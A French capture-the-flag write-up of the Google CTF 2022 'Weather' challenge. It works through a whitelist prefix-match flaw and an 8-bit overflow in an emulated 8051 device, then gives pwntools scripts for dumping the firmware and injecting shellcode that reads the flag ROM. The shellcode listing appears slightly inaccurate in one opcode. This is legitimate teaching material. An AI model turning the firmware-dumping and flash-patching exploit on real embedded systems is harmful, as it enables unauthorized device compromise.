Le challenge "Weather" du Google CTF 2022 propose l'analyse d'une station météo DIY basée sur un microcontrôleur 8051. L'objectif est d'extraire un flag stocké dans une ROM interne protégée en exploitant des faiblesses dans l'implémentation des protocoles de communication et la gestion de la mémoire.
Analyse de l'architecture matérielle
Le système repose sur pluseiurs composants interconnectés :
- Un microcontrôleur (MCU) compatible CTF-8051.
- Une EEPROM CTF-55930D.
- Des capteurs environnementaux communiquant via le bus I2C.
- Une liaison SPI reliant le MCU et l'EEPROM.
L'aspect critique réside dans le câblage du bus SPI : les broches sont directement reliées au bus de la RAM interne (IRAM) du 8051. Cette conception transforme l'EEPROM en une véritable "porte dérobée" matérielle. En interagissant avec l'EEPROM via des commandes I2C, un attaquant peut potentiellement lire ou modifier les registres de fonctions spéciales (SFR) et la mémoire vive interne du processeur.
Pour la communication série, le système utilise deux paires de registres :
0xF2(DATA) et0xF3(READY) pour la sortie.0xFA(DATA) et0xFB(READY) pour l'entrée.
Vulnérabilités logicielles identifiées
1. Défaut de validation de chaîne dans la liste blanche
La fonction chargée de vérifier si un port I2C est autorisé présente une faille de comparaison. Elle ne vérifie pas si la chaîne saisie par l'utilisateur se termine au même moment que la chaîne de référence.
bool verifier_port_autorise(const char *entree_utilisateur) {
const char *PORTS_OK[] = {"101", "108", "110", "111", "119", NULL};
for (int i = 0; PORTS_OK[i] != NULL; i++) {
const char *ref = PORTS_OK[i];
const char *usr = entree_utilisateur;
bool match = true;
while (*ref && *usr) {
if (*ref++ != *usr++) {
match = false;
break;
}
}
// Si la référence est terminée, le port est validé,
// peu importe ce qui suit dans 'usr' !
if (match && *ref == '\0') {
return true;
}
}
return false;
}
2. Dépassement d'entier lors de la conversion
Une fois le port validé, la chaîne est convertie en un entier non signé de 8 bits (uint8_t). À cause du modulo 256 inhérent au type, une valeur comme "101120" (qui est validée car elle commence par "101") sera convertie en un index de port arbitraire après dépassement.
uint8_t convertir_vers_u8(const char *s) {
uint8_t valeur = 0;
while (*s >= '0' && *s <= '9') {
// Multiplication par 10 avec dépassement sur 8 bits
valeur = (valeur * 10) + (*s++ - '0');
}
return valeur;
}
Pour cibler un port spécifique (par exemple, le port 33), il suffit de calculer une valeur qui commence par "101" et dont le résultat modulo 256 est 33.
Extraction du firmware
En utilisant le dépassement d'entier, nous pouvons communiquer avec l'EEPROM via le port 33 (accessible via l'alias "101153"). L'EEPORM est organisée en pages de 64 octets. Nous pouvons d'abord sélectionner une page avec une commande d'écriture (w), puis lire le contenu avec r.
from pwn import *
target = remote("127.0.0.1", 1337)
MAGICI_PORT = "101153"
dump_complet = bytearray()
for num_page in range(64):
target.sendlineafter(b"? ", f"w {MAGICI_PORT} 1 {num_page}".encode())
target.sendlineafter(b"? ", f"r {MAGICI_PORT} 64".encode())
target.recvuntil(b"ready\n")
bloc_brut = target.recvuntil(b"\n-end", drop=True)
for ligne in bloc_brut.decode().split('\n'):
if ligne.strip():
indices = ligne.strip().split()
for val in indices:
dump_complet.append(int(val))
print(f"Page {num_page} récupérée...")
with open("firmware.bin", "wb") as f:
f.write(dump_complet)
Détournement du flux d'exécution
Le mécanisme d'écriture dans la mémoire flash de ce système utilise un "ClearMask" : écrire un '1' remplace le bit existant par '0', tandis qu'un '0' ne modifie rien. Pour injecter du code, nous devons donc envoyer le complément à 255 de la valeur souhaitée.
L'analyse du firmware révèle une zone libre entre 0x0A02 et 0x0FFF. Nous allons injecter un shellcode à l'adresse 0x0E00 et modifier une instruction LCALL existante à l'adresse 0x04F3 pour rdeiriger l'exécution vers notre code.
Shellcode 8051 pour l'extraction du flag
Le flag se trouve dans une ROM spécifique accessible via les registres 0xEE (adresse) et 0xEF (donnée).
# Registres cibles :
# 0xEE -> FLAGROM_ADDR
# 0xEF -> FLAGROM_DATA
# 0xF2 -> SERIAL_OUT
shellcode_asm = [
0x7F, 0x00, # MOV R7, #0 ; Initialiser l'index
0xEF, 0x00, # MOV A, R7 ; Charger l'index
0xF5, 0xEE, # MOV 0xEE, A ; Pointer vers la ROM du flag
0xE5, 0xEF, # MOV A, 0xEF ; Lire l'octet du flag
0xF5, 0xF2, # MOV 0xF2, A ; Envoyer vers le port série
0x0F, # INC R7 ; Incrémenter l'index
0x02, 0x0E, 0x02 # LJMP 0x0E02 ; Boucler
]
Exploit final
L'écriture s'effectue par blocs de 64 octets. L'adresse 0x0E00 correspond au bloc 56, et 0x04F3 se trouve dans le bloc 19.
# Préparation du shellcode inversé pour le ClearMask
payload_shellcode = ' '.join([str(255 - b) for b in shellcode_asm])
# 1. Injection du shellcode dans le bloc 56 (0x0E00)
# '165 90 165 90' est la séquence de déverrouillage requise
target.sendlineafter(b"?", f"w 101153 100 56 165 90 165 90 {payload_shellcode}".encode())
# 2. Patch de l'instruction d'appel au bloc 19
# On remplace les instructions originales pour sauter vers 0x0E00
patch_instr = "255 " * 51 + "255 255 237 241 255"
target.sendlineafter(b"?", f"w 101153 100 19 165 90 165 90 {patch_instr}".encode())
# Récupération du flag
target.recvline()
flag_data = target.recvline()
print(f"Flag extrait : {flag_data.decode()}")